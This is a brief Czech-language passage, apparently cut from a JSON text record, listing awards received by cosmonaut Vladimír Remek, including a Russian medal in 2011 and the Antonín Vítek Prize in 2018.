význačnými letci. Při 50. výročí letu prvního kosmonauta Jurije Gagarina, 12. dubna 2011, mu ruský prezident Dmitrij Medveděv udělil medaili „Za zásluhy o dobývání kosmu“, v Radě federace obdržel řád Jurije Gagarina. Dne 12. května 2018 obdržel Vladimír Remek Cenu Antonína Vítka za popularizaci kosmonautiky od Astronautické sekce České astronomické společnosti, a to jako vůbec první laureát této ceny." ] }